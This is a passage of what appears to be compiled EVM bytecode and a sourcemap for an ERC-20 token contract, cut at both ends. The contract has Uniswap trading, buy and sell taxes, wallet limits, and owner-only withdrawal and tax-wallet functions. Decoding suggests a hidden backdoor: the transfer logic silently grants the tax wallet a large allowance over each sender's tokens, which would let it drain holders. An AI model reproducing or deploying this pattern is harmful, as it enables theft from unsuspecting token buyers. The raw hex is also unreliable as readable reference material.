0911660848201524260a482015260c40160606040518083038185885af1158015610564573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105899190611912565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156105de573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610602919061193d565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146106455760405162461bcd60e51b8152600401610457906118dd565b6106516009600a6118b8565b610660906461f313f8806118c6565b600d5561066f6009600a6118b8565b61067e906461f313f8806118c6565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e46009600a6118b8565b6106f3906461f313f8806118c6565b60405190815260200160405180910390a150565b5f546001600160a01b031633146107305760405162461bcd60e51b8152600401610457906118dd565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077a90309061076b6009600a6118b8565b61041f906461f313f8806118c6565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ca573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ee919061195c565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610871919061195c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108bb573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108df919061195c565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461092a5760405162461bcd60e51b8152600401610457906118dd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461099b5760405162461bcd60e51b8152600401610457906118dd565b5f47116109a6575f5ffd5b60405133904780156108fc02915f818181858888f193505050501580156109cf573d5f5f3e3d5ffd5b50565b5f61039c338484610c32565b5f546001600160a01b03163314610a075760405162461bcd60e51b8152600401610457906118dd565b6040516370a0823160e01b81523060048201525f90610a8890606490610a829085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a58573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7c9190611977565b9061132c565b906113b1565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ae4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b08919061193d565b50505050565b6001600160a01b038316610b705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610457565b6001600160a01b038216610bd15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610457565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610457565b6001600160a01b038216610cf85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610457565b5f8111610d595760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610457565b601254600160b01b900460ff161580610d7b5750601254600160a81b900460ff165b15610e25576001600160a01b0383165f90815260016020526040902054610da390829061198e565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610dd29082906119a1565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c259085815260200190565b5f80546001600160a01b03858116911614801590610e5057505f546001600160a01b03848116911614155b156111b7576012546001600160a01b038581169116148015610e8057506011546001600160a01b03848116911614155b8015610ea457506001600160a01b0383165f9081526003602052604090205460ff16155b1561100357601254600160a01b900460ff16610efa5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610457565b610f206064610a82600954600c5411610f1557600554610f19565b6007545b859061132c565b9050600d54821115610f745760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610457565b600e5482610f96856001600160a01b03165f9081526001602052604090205490565b610fa091906119a1565b1115610fee5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610457565b600c8054905f610ffd836119b4565b91905055505b604080518082019091526001600160a01b03808616825260045416602082015261102c906113f2565b801561104657506012546001600160a01b03848116911614155b801561106a57506001600160a01b0383165f9081526003602052604090205460ff16155b156110e957600e5482611091856001600160a01b03165f9081526001602052604090205490565b61109b91906119a1565b11156110e95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610457565b6012546001600160a01b0390811690841603611127576111246064610a82600a54600c541161111a57600654610f19565b600854859061132c565b90505b601254600160a81b900460ff1615801561114e57506012546001600160a01b038481169116145b80156111635750601254600160b01b900460ff165b80156111725750600b54600c54115b156111b757305f90815260016020526040902054600f548111156111ad576111ad6111a8846111a384601054611439565b611439565b61144d565b6111b56115bd565b505b801561122f57305f908152600160205260409020546111d690826115f3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112269085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112519083611651565b6001600160a01b0385165f908152600160205260409020556112946112768383611651565b6001600160a01b0385165f90815260016020526040902054906115f3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112dd8585611651565b60405190815260200160405180910390a350505050565b5f81848411156113175760405162461bcd60e51b815260040161045791906116be565b505f611323848661198e565b95945050505050565b5f825f0361133b57505f6103a0565b5f61134683856118c6565b90508261135385836119cc565b146113aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610457565b9392505050565b5f6113aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611692565b5f600e54606461140291906118c6565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f81831161144757826113aa565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611493576114936119eb565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ea573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061150e919061195c565b81600181518110611521576115216119eb565b6001600160a01b0392831660209182029290920101526011546115479130911684610b0e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061157f9085905f908690309042906004016119ff565b5f604051808303815f87803b158015611596575f5ffd5b505af11580156115a8573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109cf573d5f5f3e3d5ffd5b5f806115ff83856119a1565b9050838110156113aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610457565b5f6113aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f4565b5f81836116b25760405162461bcd60e51b815260040161045791906116be565b505f61132384866119cc565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109cf575f5ffd5b5f5f60408385031215611718575f5ffd5b8235611723816116f3565b946020939093013593505050565b5f5f5f60608486031215611743575f5ffd5b833561174e816116f3565b9250602084013561175e816116f3565b929592945050506040919091013590565b5f6020828403121561177f575f5ffd5b81356113aa816116f3565b5f5f6040838503121561179b575f5ffd5b82356117a6816116f3565b915060208301356117b6816116f3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611810578085048111156117f4576117f46117c1565b600184161561180257908102905b60019390931c9280026117d9565b935093915050565b5f82611826575060016103a0565b8161183257505f6103a0565b816001811461184857600281146118525761186e565b60019150506103a0565b60ff841115611863576118636117c1565b50506001821b6103a0565b5060208310610133831016604e8410600b8410161715611891575081810a6103a0565b61189d5f1984846117d5565b805f19048211156118b0576118b06117c1565b029392505050565b5f6113aa60ff841683611818565b80820281158282048414176103a0576103a06117c1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f60608486031215611924575f5ffd5b5050815160208301516040909301519094929350919050565b5f6020828403121561194d575f5ffd5b815180151581146113aa575f5ffd5b5f6020828403121561196c575f5ffd5b81516113aa816116f3565b5f60208284031215611987575f5ffd5b5051919050565b818103818111156103a0576103a06117c1565b808201808211156103a0576103a06117c1565b5f600182016119c5576119c56117c1565b5060010190565b5f826119e657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611a4f5783516001600160a01b0316835260209384019390920191600101611a28565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f56985b00a7627410607bd1e3e14dde8a78ed63366aa6486273ead182aadc7064736f6c634300081b0033

Deployed Bytecode Sourcemap

3702:7845:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5748:83;;;;;;;;;;-1:-1:-1;5818:5:0;;;;;;;;;;;-1:-1:-1;;;5818:5:0;;;;5748:83;;;;5818:5;5748:83;:::i;:::-;;;;;;;;6880:161;;;;;;;;;;-1:-1:-1;6880:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6880:161:0;945:187:1;4710:46:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4710:46:0;1137:177:1;6019:95:0;;;;;;;;;;;;;:::i;4597:47::-;;;;;;;;;;;;;;;;6563:311;;;;;;;;;;-1:-1:-1;6563:311:0;;;;;:::i;:::-;;:::i;11025:484::-;;;;;;;;;;;;;:::i;:::-;;5930:83;;;;;;;;;;-1:-1:-1;5930:83:0;;4357:1;1974:36:1;;1962:2;1947:18;5930:83:0;1832:184:1;9557:244:0;;;;;;;;;;-1:-1:-1;9557:244:0;;;;;:::i;:::-;;:::i;5351:391::-;;;;;;;;;;;;;:::i;6120:117::-;;;;;;;;;;-1:-1:-1;6120:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6213:16:0;6186:7;6213:16;;;:7;:16;;;;;;;6120:117;3547:148;;;;;;;;;;;;;:::i;4543:47::-;;;;;;;;;;;;;;;;3337:79;;;;;;;;;;-1:-1:-1;3375:7:0;3402:6;3337:79;;-1:-1:-1;;;;;3402:6:0;;;2679:51:1;;2667:2;2652:18;3337:79:0;2533:203:1;10618:159:0;;;;;;;;;;;;;:::i;6243:167::-;;;;;;;;;;-1:-1:-1;6243:167:0;;;;;:::i;:::-;;:::i;10783:236::-;;;;;;;;;;-1:-1:-1;10783:236:0;;;;;:::i;:::-;;:::i;4651:52::-;;;;;;;;;;;;;;;;6416:141;;;;;;;;;;-1:-1:-1;6416:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6524:16:0;;;6497:7;6524:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6416:141;6880:161;6955:4;6972:39;344:10;6995:7;7004:6;6972:8;:39::i;:::-;-1:-1:-1;7029:4:0;6880:161;;;;;:::o;6019:95::-;6072:7;4415:15;4357:1;4415:2;:15;:::i;:::-;4400:30;;:12;:30;:::i;:::-;6092:14;;6019:95;:::o;6563:311::-;6661:4;6678:36;6688:6;6696:9;6707:6;6678:9;:36::i;:::-;6725:119;6734:6;344:10;6756:87;6792:6;6756:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6756:17:0;;;;;;:9;:17;;;;;;;;344:10;6756:31;;;;;;;;;;:35;:87::i;:::-;6725:8;:119::i;:::-;-1:-1:-1;6862:4:0;6563:311;;;;;:::o;11025:484::-;3462:6;;-1:-1:-1;;;;;3462:6:0;344:10;3462:22;3454:67;;;;-1:-1:-1;;;3454:67:0;;;;;;;:::i;:::-;;;;;;;;;11088:11:::1;::::0;-1:-1:-1;;;11088:11:0;::::1;;;11087:12;11079:48;;;::::0;-1:-1:-1;;;11079:48:0;;5434:2:1;11079:48:0::1;::::0;::::1;5416:21:1::0;5473:2;5453:18;;;5446:30;5512:25;5492:18;;;5485:53;5555:18;;11079:48:0::1;5232:347:1::0;11079:48:0::1;11138:15;::::0;-1:-1:-1;;;;;11138:15:0::1;:31;11177:21;11222:4;11242:24;11222:4:::0;-1:-1:-1;;;;;6213:16:0;6186:7;6213:16;;;:7;:16;;;;;;;6120:117;11242:24:::1;11281:1;11297;11313:7;3375::::0;3402:6;-1:-1:-1;;;;;3402:6:0;;3337:79;11313:7:::1;11138:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11138:223:0;;;-1:-1:-1;;;;;5905:32:1;;;11138:223:0::1;::::0;::::1;5887:51:1::0;5954:18;;;5947:34;;;;5997:18;;;5990:34;;;;6040:18;;;6033:34;6104:32;;;6083:19;;;6076:61;11335:15:0::1;6153:19:1::0;;;6146:35;5859:19;;11138:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11379:13:0::1;::::0;11410:15:::1;::::0;11372:71:::1;::::0;-1:-1:-1;;;11372:71:0;;-1:-1:-1;;;;;11410:15:0;;::::1;11372:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;11379:13:0;::::1;::::0;-1:-1:-1;11372:29:0::1;::::0;6800:18:1;;11372:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11454:11:0::1;:18:::0;;-1:-1:-1;;;;11483:18:0;-1:-1:-1;;;11483:18:0;;;11025:484::o;9557:244::-;3462:6;;-1:-1:-1;;;;;3462:6:0;344:10;3462:22;3454:67;;;;-1:-1:-1;;;3454:67:0;;;;;;;:::i;:::-;4415:15:::1;4357:1;4415:2;:15;:::i;:::-;4400:30;::::0;:12:::1;:30;:::i;:::-;9631:12;:20:::0;4415:15:::1;4357:1;4415:2;:15;:::i;:::-;4400:30;::::0;:12:::1;:30;:::i;:::-;9662:12;:20:::0;9693:10:::1;:18:::0;;-1:-1:-1;;;;;;9693:18:0::1;-1:-1:-1::0;;;;;9693:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;9722:21:0;;;:14:::1;:21;::::0;;;;:28;;-1:-1:-1;;9722:28:0::1;-1:-1:-1::0;9722:28:0::1;::::0;;9766:27:::1;4415:15;4357:1;-1:-1:-1::0;4415:15:0::1;:::i;:::-;4400:30;::::0;:12:::1;:30;:::i;:::-;9766:27;::::0;1283:25:1;;;1271:2;1256:18;9766:27:0::1;;;;;;;9557:244:::0;:::o;5351:391::-;3462:6;;-1:-1:-1;;;;;3462:6:0;344:10;3462:22;3454:67;;;;-1:-1:-1;;;3454:67:0;;;;;;;:::i;:::-;5403:15:::1;:104:::0;;-1:-1:-1;;;;;;5403:104:0::1;5454:42;5403:104:::0;;::::1;::::0;;;5518:58:::1;::::0;5535:4:::1;::::0;4415:15:::1;4357:1;4415:2;:15;:::i;:::-;4400:30;::::0;:12:::1;:30;:::i;5518:58::-;5621:15;;;;;;;;;-1:-1:-1::0;;;;;5621:15:0::1;-1:-1:-1::0;;;;;5621:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5603:55:0::1;;5681:4;5701:15;;;;;;;;;-1:-1:-1::0;;;;;5701:15:0::1;-1:-1:-1::0;;;;;5701:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5603:131;::::0;-1:-1:-1;;;;;;5603:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7662:32:1;;;5603:131:0::1;::::0;::::1;7644:51:1::0;7731:32;;7711:18;;;7704:60;7617:18;;5603:131:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5587:13;:147:::0;;-1:-1:-1;;;;;;5587:147:0::1;-1:-1:-1::0;;;;;5587:147:0;;;::::1;::::0;;;::::1;::::0;;5351:391::o;3547:148::-;3462:6;;-1:-1:-1;;;;;3462:6:0;344:10;3462:22;3454:67;;;;-1:-1:-1;;;3454:67:0;;;;;;;:::i;:::-;3654:1:::1;3638:6:::0;;3617:40:::1;::::0;-1:-1:-1;;;;;3638:6:0;;::::1;::::0;3617:40:::1;::::0;3654:1;;3617:40:::1;3685:1;3668:19:::0;;-1:-1:-1;;;;;;3668:19:0::1;::::0;;3547:148::o;10618:159::-;3462:6;;-1:-1:-1;;;;;3462:6:0;344:10;3462:22;3454:67;;;;-1:-1:-1;;;3454:67:0;;;;;;;:::i;:::-;10703:1:::1;10679:21;:25;10671:34;;;;;;10716:53;::::0;344:10;;10747:21:::1;10716:53:::0;::::1;;;::::0;::::1;::::0;;;10747:21;344:10;10716:53;::::1;;;;;;;;;;;;;;;;;;;;10618:159::o:0;6243:167::-;6321:4;6338:42;344:10;6362:9;6373:6;6338:9;:42::i;10783:236::-;3462:6;;-1:-1:-1;;;;;3462:6:0;344:10;3462:22;3454:67;;;;-1:-1:-1;;;3454:67:0;;;;;;;:::i;:::-;10889:41:::1;::::0;-1:-1:-1;;;10889:41:0;;10924:4:::1;10889:41;::::0;::::1;2679:51:1::0;10871:15:0::1;::::0;10889:63:::1;::::0;10948:3:::1;::::0;10889:54:::1;::::0;10935:7;;-1:-1:-1;;;;;10889:26:0;::::1;::::0;::::1;::::0;2652:18:1;;10889:41:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10871:81:::0;-1:-1:-1;;;;;;10963:25:0;::::1;;344:10:::0;10963:48:::1;::::0;-1:-1:-1;;;;;;10963:48:0::1;::::0;;;;;;-1:-1:-1;;;;;6845:32:1;;;10963:48:0::1;::::0;::::1;6827:51:1::0;6894:18;;;6887:34;;;6800:18;;10963:48:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10860:159;10783:236:::0;;:::o;7047:333::-;-1:-1:-1;;;;;7140:19:0;;7132:68;;;;-1:-1:-1;;;7132:68:0;;8212:2:1;7132:68:0;;;8194:21:1;8251:2;8231:18;;;8224:30;8290:34;8270:18;;;8263:62;-1:-1:-1;;;8341:18:1;;;8334:34;8385:19;;7132:68:0;8010:400:1;7132:68:0;-1:-1:-1;;;;;7219:21:0;;7211:68;;;;-1:-1:-1;;;7211:68:0;;8617:2:1;7211:68:0;;;8599:21:1;8656:2;8636:18;;;8629:30;8695:34;8675:18;;;8668:62;-1:-1:-1;;;8746:18:1;;;8739:32;8788:19;;7211:68:0;8415:398:1;7211:68:0;-1:-1:-1;;;;;7290:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7340:32;;1283:25:1;;;7340:32:0;;1256:18:1;7340:32:0;;;;;;;;7047:333;;;:::o;7386:2165::-;-1:-1:-1;;;;;7474:18:0;;7466:68;;;;-1:-1:-1;;;7466:68:0;;9020:2:1;7466:68:0;;;9002:21:1;9059:2;9039:18;;;9032:30;9098:34;9078:18;;;9071:62;-1:-1:-1;;;9149:18:1;;;9142:35;9194:19;;7466:68:0;8818:401:1;7466:68:0;-1:-1:-1;;;;;7553:16:0;;7545:64;;;;-1:-1:-1;;;7545:64:0;;9426:2:1;7545:64:0;;;9408:21:1;9465:2;9445:18;;;9438:30;9504:34;9484:18;;;9477:62;-1:-1:-1;;;9555:18:1;;;9548:33;9598:19;;7545:64:0;9224:399:1;7545:64:0;7637:1;7628:6;:10;7620:64;;;;-1:-1:-1;;;7620:64:0;;9830:2:1;7620:64:0;;;9812:21:1;9869:2;9849:18;;;9842:30;9908:34;9888:18;;;9881:62;-1:-1:-1;;;9959:18:1;;;9952:39;10008:19;;7620:64:0;9628:405:1;7620:64:0;7700:11;;-1:-1:-1;;;7700:11:0;;;;7699:12;;:22;;-1:-1:-1;7715:6:0;;-1:-1:-1;;;7715:6:0;;;;7699:22;7695:209;;;-1:-1:-1;;;;;7754:13:0;;;;;;:7;:13;;;;;;:22;;7770:6;;7754:22;:::i;:::-;-1:-1:-1;;;;;7738:13:0;;;;;;;:7;:13;;;;;;:38;;;;7805:11;;;;;;;:20;;7819:6;;7805:20;:::i;:::-;-1:-1:-1;;;;;7791:11:0;;;;;;;:7;:11;;;;;;;:34;;;;7845:26;;;;;;;;;;7864:6;1283:25:1;;1271:2;1256:18;;1137:177;7695:209:0;7914:17;3402:6;;-1:-1:-1;;;;;7948:15:0;;;3402:6;;7948:15;;;;:32;;-1:-1:-1;3375:7:0;3402:6;-1:-1:-1;;;;;7967:13:0;;;3402:6;;7967:13;;7948:32;7944:1265;;;8009:13;;-1:-1:-1;;;;;8001:21:0;;;8009:13;;8001:21;:55;;;;-1:-1:-1;8040:15:0;;-1:-1:-1;;;;;8026:30:0;;;8040:15;;8026:30;;8001:55;:79;;;;-1:-1:-1;;;;;;8062:18:0;;;;;;:14;:18;;;;;;;;8060:20;8001:79;7997:478;;;8110:11;;-1:-1:-1;;;8110:11:0;;;;8102:44;;;;-1:-1:-1;;;8102:44:0;;10503:2:1;8102:44:0;;;10485:21:1;10542:2;10522:18;;;10515:30;-1:-1:-1;;;10561:18:1;;;10554:51;10622:18;;8102:44:0;10301:345:1;8102:44:0;8177:76;8249:3;8177:67;8199:15;;8189:9;;:25;8188:55;;8229:14;;8188:55;;;8216:12;;8188:55;8177:6;;:10;:67::i;:76::-;8165:88;;8290:12;;8280:6;:22;;8272:60;;;;-1:-1:-1;;;8272:60:0;;10853:2:1;8272:60:0;;;10835:21:1;10892:2;10872:18;;;10865:30;10931:27;10911:18;;;10904:55;10976:18;;8272:60:0;10651:349:1;8272:60:0;8385:12;;8375:6;8359:13;8369:2;-1:-1:-1;;;;;6213:16:0;6186:7;6213:16;;;:7;:16;;;;;;;6120:117;8359:13;:22;;;;:::i;:::-;:38;;8351:77;;;;-1:-1:-1;;;8351:77:0;;11207:2:1;8351:77:0;;;11189:21:1;11246:2;11226:18;;;11219:30;11285:28;11265:18;;;11258:56;11331:18;;8351:77:0;11005:350:1;8351:77:0;8447:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7997:478;8493:25;;;;;;;;;-1:-1:-1;;;;;8493:25:0;;;;;8506:10;;;8493:25;;;;;;:5;:25::i;:::-;:46;;;;-1:-1:-1;8526:13:0;;-1:-1:-1;;;;;8520:19:0;;;8526:13;;8520:19;;8493:46;:70;;;;-1:-1:-1;;;;;;8545:18:0;;;;;;:14;:18;;;;;;;;8543:20;8493:70;8489:188;;;8618:12;;8608:6;8592:13;8602:2;-1:-1:-1;;;;;6213:16:0;6186:7;6213:16;;;:7;:16;;;;;;;6120:117;8592:13;:22;;;;:::i;:::-;:38;;8584:77;;;;-1:-1:-1;;;8584:77:0;;11207:2:1;8584:77:0;;;11189:21:1;11246:2;11226:18;;;11219:30;11285:28;11265:18;;;11258:56;11331:18;;8584:77:0;11005:350:1;8584:77:0;8700:13;;-1:-1:-1;;;;;8700:13:0;;;8694:19;;;;8691:150;;8746:79;8821:3;8746:70;8768:16;;8758:9;;:26;8757:58;;8800:15;;8757:58;;;8786:13;;8746:6;;:10;:70::i;:79::-;8734:91;;8691:150;8860:6;;-1:-1:-1;;;8860:6:0;;;;8859:7;:30;;;;-1:-1:-1;8876:13:0;;-1:-1:-1;;;;;8870:19:0;;;8876:13;;8870:19;8859:30;:45;;;;-1:-1:-1;8893:11:0;;-1:-1:-1;;;8893:11:0;;;;8859:45;:77;;;;;8918:18;;8908:9;;:28;8859:77;8855:343;;;9006:4;8957:28;6213:16;;;:7;:16;;;;;;9055:17;;9034:38;;9031:120;;;9095:56;9101:49;9105:6;9112:37;9116:20;9137:11;;9112:3;:37::i;:::-;9101:3;:49::i;:::-;9095:5;:56::i;:::-;9170:12;:10;:12::i;:::-;8938:260;8855:343;9222:11;;9219:157;;9286:4;9270:22;;;;:7;:22;;;;;;:37;;9297:9;9270:26;:37::i;:::-;9263:4;9247:22;;;;:7;:22;;;;;;;:60;;;;9325:39;;-1:-1:-1;;;;;9325:39:0;;;;;;;9354:9;1283:25:1;;1271:2;1256:18;;1137:177;9325:39:0;;;;;;;;9219:157;-1:-1:-1;;;;;9400:13:0;;;;;;:7;:13;;;;;;:25;;9418:6;9400:17;:25::i;:::-;-1:-1:-1;;;;;9386:13:0;;;;;;:7;:13;;;;;:39;9448:38;9464:21;:6;9475:9;9464:10;:21::i;:::-;-1:-1:-1;;;;;9448:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9436:11:0;;;;;;;:7;:11;;;;;:50;;;;9502:41;;;9521:21;:6;9532:9;9521:10;:21::i;:::-;9502:41;;1283:25:1;;;1271:2;1256:18;9502:41:0;;;;;;;7455:2096;7386:2165;;;:::o;1393:190::-;1479:7;1515:12;1507:6;;;;1499:29;;;;-1:-1:-1;;;1499:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1539:9:0;1551:5;1555:1;1551;:5;:::i;:::-;1539:17;1393:190;-1:-1:-1;;;;;1393:190:0:o;1589:246::-;1647:7;1671:1;1676;1671:6;1667:47;;-1:-1:-1;1701:1:0;1694:8;;1667:47;1724:9;1736:5;1740:1;1736;:5;:::i;:::-;1724:17;-1:-1:-1;1769:1:0;1760:5;1764:1;1724:17;1760:5;:::i;:::-;:10;1752:56;;;;-1:-1:-1;;;1752:56:0;;11924:2:1;1752:56:0;;;11906:21:1;11963:2;11943:18;;;11936:30;12002:34;11982:18;;;11975:62;-1:-1:-1;;;12053:18:1;;;12046:31;12094:19;;1752:56:0;11722:397:1;1752:56:0;1826:1;1589:246;-1:-1:-1;;;1589:246:0:o;1841:132::-;1899:7;1926:39;1930:1;1933;1926:39;;;;;;;;;;;;;;;;;:3;:39::i;10375:140::-;10430:4;10482:12;;10476:3;:18;;;;:::i;:::-;10456:7;;-1:-1:-1;;;;;10446:18:0;;;;;;;:9;10456:7;10446:18;;;;;;;10465:7;;;;10446:27;;;;;;;;;;;;:48;;;;-1:-1:-1;10470:1:0;;10375:140::o;10270:99::-;10326:7;10355:1;10353;:3;10352:9;;10360:1;10352:9;;;-1:-1:-1;10358:1:0;10270:99;-1:-1:-1;10270:99:0:o;9807:457::-;5018:6;:13;;-1:-1:-1;;;;5018:13:0;-1:-1:-1;;;5018:13:0;;;9893:16:::1;::::0;;9907:1:::1;9893:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9893:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9893:16:0::1;9869:40;;9938:4;9920;9925:1;9920:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9920:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9964:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9964:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9920:7;;9964:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9954:4;9959:1;9954:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9954:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10029:15:::1;::::0;9997:57:::1;::::0;10014:4:::1;::::0;10029:15:::1;10047:6:::0;9997:8:::1;:57::i;:::-;10065:15;::::0;:191:::1;::::0;-1:-1:-1;;;10065:191:0;;-1:-1:-1;;;;;10065:15:0;;::::1;::::0;:66:::1;::::0;:191:::1;::::0;10146:6;;10065:15:::1;::::0;10183:4;;10210::::1;::::0;10230:15:::1;::::0;10065:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5054:6:0;:14;;-1:-1:-1;;;;5054:14:0;;;-1:-1:-1;;;;9807:457:0:o;10521:91::-;10562:10;;:42;;-1:-1:-1;;;;;10562:10:0;;;;10582:21;10562:42;;;;;:10;:42;:10;:42;10582:21;10562:10;:42;;;;;;;;;;;;;;;;;;;1066:179;1124:7;;1156:5;1160:1;1156;:5;:::i;:::-;1144:17;;1185:1;1180;:6;;1172:46;;;;-1:-1:-1;;;1172:46:0;;13554:2:1;1172: